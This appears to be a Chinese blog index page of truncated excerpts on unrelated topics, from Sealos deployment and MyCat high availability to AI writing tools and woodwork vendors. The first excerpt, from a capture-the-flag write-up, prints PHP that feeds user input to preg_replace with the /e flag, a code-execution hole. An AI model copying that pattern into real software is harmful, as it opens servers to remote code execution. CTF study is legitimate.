BUU-[BJDCTF2020]ZJCTF,不过如此//next.php <?php $id = $_GET[id]; $_SESSION[id] = $id;function complex($re, $str) {return preg_replace(/( . $re . )/ei,strtolower("\\1"),$str); }foreach ($_…

Sealos 私有化 vs 公有云:什么场景该选哪个

说实话&#xff0c;这个问题我被问了不下一百遍。每次我都想反问一句&#xff1a;你到底在纠结什么&#xff1f;先说结论&#xff1a;大部分人不需要私有化我见过太多这样的场景&#xff1a;一个三五人的小团队&#xff0c;项目刚起步&#xff0c;用户量还没破万&#xff0c;上…

2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选

2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选 随着消费升级与居住理念的深化,家居空间已从单一的功能承载,演变为个人审美与生活方式的集中表达。在这一背景…

深度测评!MBA必看8款AI论文工具:开题报告与文献综述全解析

深度测评&#xff01;MBA必看8款AI论文工具&#xff1a;开题报告与文献综述全解析 为什么需要一份权威的AI论文工具测评&#xff1f; 随着人工智能技术在学术领域的广泛应用&#xff0c;MBA学生在撰写开题报告与文献综述时&#xff0c;对高效、专业的AI写作工具需求日益增长。然…

提示工程架构师案例:法律领域模型的提示适配准确性提升方案(附数据集)

提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例) 元数据框架 标题:提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例) 关键词:提示工程、法律大模型、Prompt Adaptation、法律AI准确性、法律…

三台机器部署 Sealos 私有云,完整操作手册

三年后回头看&#xff0c;私有化部署这件事可能是很多团队命运的分水岭。第一年&#xff1a;成本账开始算清楚当你用三台机器把 Sealos 私有云跑起来的那一刻&#xff0c;其实启动了一个计时器。第一年大概率会发现&#xff1a;原来云厂商账单里藏着这么多"隐形税"。…

FT232R USB UART驱动下载 附快速安装方案

FT232R USB UART 是 FTDI 推出的一款常见 USB 转串口芯片&#xff0c;广泛应用于单片机开发、嵌入式调试、串口通信模块等设备中。当电脑无法识别串口、设备管理器中出现未知设备&#xff0c;或 COM 端口无法正常使用时&#xff0c;通常是 FT232R USB UART 驱动缺失或版本不兼容…

MCP通信的双方是谁?

MCP的通信两端,一端是Client(如Claude Desktop,一个应用),另一端是Server(工具提供方)。大模型只是Client应用中的一个“推理引擎”组件。** MCP协议的订立,不直接面向大模型,而是面向构建了这些模型的应用或…

使用YOLOv26实现乌鸦鸽子麻雀等城市鸟类自动检测与分类

本数据集名为Crow Detection&#xff0c;是一个用于鸟类检测的专用数据集&#xff0c;于2024年1月18日通过qunshankj平台导出。该数据集包含720张图像&#xff0c;所有图像均采用YOLOv8格式进行标注&#xff0c;专注于三种常见鸟类&#xff1a;乌鸦(crow)、鸽子(pigeon)和麻雀(…

人群仿真软件:Vadere_(15).社区与支持资源

社区与支持资源 在进行人群仿真软件的二次开发过程中&#xff0c;社区和支持资源是不可或缺的一部分。这些资源提供了丰富的文档、教程、示例代码和用户反馈&#xff0c;帮助开发者更好地理解和使用软件。本节将详细介绍如何利用这些资源&#xff0c;包括官方文档、用户论坛、…

2026年度热门盘点原创音乐人首选的5款AI编曲软件

在当今音乐创作的浪潮中&#xff0c;AI编曲软件正逐渐成为原创音乐人的得力助手。它们凭借强大的技术能力&#xff0c;不仅能大幅提升创作效率&#xff0c;还能为音乐带来更多新颖的元素和风格。这些软件打破了传统创作的时间和空间限制&#xff0c;让音乐人可以更自由地发挥创…

怎么快速完成编曲?盘点原创音乐人常用的5款AI编曲软件

在音乐创作的领域里&#xff0c;时间和效率往往是原创音乐人面临的一大挑战。传统的编曲过程&#xff0c;从灵感捕捉到旋律构建&#xff0c;再到和声编排和节奏设计&#xff0c;每一个环节都需要耗费大量的时间和精力。而如今&#xff0c;AI编曲软件的出现为音乐人带来了新的曙…

统一白名单服务治理组件

服务治理组件&#xff1a;统一白名单控制 一、背景与问题 在微服务架构下&#xff0c;白名单控制几乎是必需能力&#xff1a; 接口级访问控制&#xff08;IP / 应用 / 用户&#xff09;灰度、内测、运营活动限制风控与安全兜底临时封禁、应急止血 但现实中常见问题是&#xff1…

企业级远控赋能跨境电商:企业如何实现云端运营提效?

中国企业通过跨境电商实现“B to C”业务出海所带来的贸易增量&#xff0c;是支撑经济发展“外循环”的重要组成部分。随着我国数字经济与外贸规模持续扩大&#xff0c;跨境电商出口保持强劲增长态势。 数据显示&#xff0c;截至2025年前三季度&#xff0c;中国跨境电商进出口总…

专科生必看!10个高效降aigc工具推荐,避坑指南来啦

专科生必看&#xff01;10个高效降aigc工具推荐&#xff0c;避坑指南来啦 AI降重工具&#xff0c;让论文更“自然” 随着人工智能技术的不断发展&#xff0c;越来越多的专科生在撰写论文时开始依赖AI辅助工具。然而&#xff0c;AI生成的内容往往带有明显的痕迹&#xff0c;导致…

archlinux 更新遇到问题

有可能是长期不更新出现的 可以尝试# 2. 更新密钥环 sudo pacman -Sy archlinux-keyring然后再更新# 4. 完整系统更新 sudo pacman -Syu如果失败,可以将报错的包删除,再次执行系统更新

手机电脑都能用!跨平台体验最佳的视频提取文字在线免费网站盘点

在自媒体创作、职场办公、学习备考等场景中&#xff0c;我们常需要从视频中提取文字——可能是复刻爆款文案、整理会议纪要&#xff0c;也可能是转写网课重点。手动转录不仅耗时费力&#xff0c;准确率还难以保证&#xff0c;而一款优质的视频提取文字在线免费网站&#xff0c;…

防雷接地材料批发避坑指南|选对材料=省成本+保安全,工程采购必看!

建筑、电力、通信工程中,防雷接地从来不是“配角”——一次材料选型失误,可能导致工程返工、验收失败,甚至埋下雷电灾害隐患,让前期所有投入付诸东流!作为深耕防雷接地材料批发领域 10 余年的从业者,见过太多采购…

【MyCat】第6章----HA 机制的 Mycat 高可用

文章目录6.1 高可用方案6.2 安装配置 HAProxy1、 安装 HAProxy2、 启动验证6.3 配置 Keepalived1、 安装 Keepalived2、 启动验证6.4 测试高可用1、 测试步骤在实际项目中&#xff0c;Mycat 服务也需要考虑高可用性&#xff0c;如果 Mycat 所在服务器出现宕机&#xff0c;或 My…